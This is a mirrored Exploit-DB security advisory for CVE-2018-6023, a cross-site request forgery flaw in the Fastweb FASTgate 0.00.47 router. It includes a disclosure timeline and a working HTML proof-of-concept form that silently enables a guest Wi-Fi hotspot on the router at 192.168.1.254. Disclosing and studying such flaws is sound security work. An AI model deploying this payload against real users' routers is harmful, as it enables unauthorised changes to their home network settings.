Fastweb FASTGate 0.00.47 – Cross-Site Request Forgery

  • 作者: Raffaele Sabato
    日期: 2018-05-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44606/
  • # Exploit Title: Fastweb FASTgate 0.00.47 CSRF
    # Date: 09-05-2018
    # Exploit Authors: Raffaele Sabato
    # Contact: https://twitter.com/syrion89
    # Vendor: Fastweb
    # Product Web Page: http://www.fastweb.it/adsl-fibra-ottica/dettagli/modem-fastweb-fastgate/
    # Version: 0.00.47
    # CVE: CVE-2018-6023
    
    I DESCRIPTION
    ========================================================================
    
    An issue was discovered in Fastweb FASTgate 0.00.47 device. A Cross-site request forgery (CSRF) vulnerability allows remote attackers to hijack the authentication of users for requests that modify the configuration. This vulnerability may lead to Gues Wi-Fi activating, Wi-Fi password changing, etc.
    The vulnerability was disclosed to Fastweb on 19 January 2018.
    Fastweb independently patched customer devices with non-vulneable version .67 from December 2017 thru March 2018.
    
    II PROOF OF CONCEPT
    ========================================================================
    
    ## Activate Gues Wi-Fi:
    
    <html>
    <body>
    <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.254/status.cgi">
    <input type="hidden" name="&#95;" value="1516312144136" />
    <input type="hidden" name="act" value="nvset" />
    <input type="hidden" name="hotspot&#95;broadcast&#95;ssid" value="1" />
    <input type="hidden" name="hotspot&#95;enable" value="1" />
    <input type="hidden" name="hotspot&#95;filtering" value="all" />
    <input type="hidden" name="hotspot&#95;security" value="WPA2PSK" />
    <input type="hidden" name="hotspot&#95;ssid" value="GUEST&#45;Test" />
    <input type="hidden" name="hotspot&#95;timeout" value="&#45;1" />
    <input type="hidden" name="service" value="wl&#95;guestaccess" />
    <input type="submit" value="Submit request" />
    </form>
    </body>
    </html>
    
    III REFERENCES
    ========================================================================
    http://www.fastweb.it/myfastpage/assistenza/guide/FASTGate/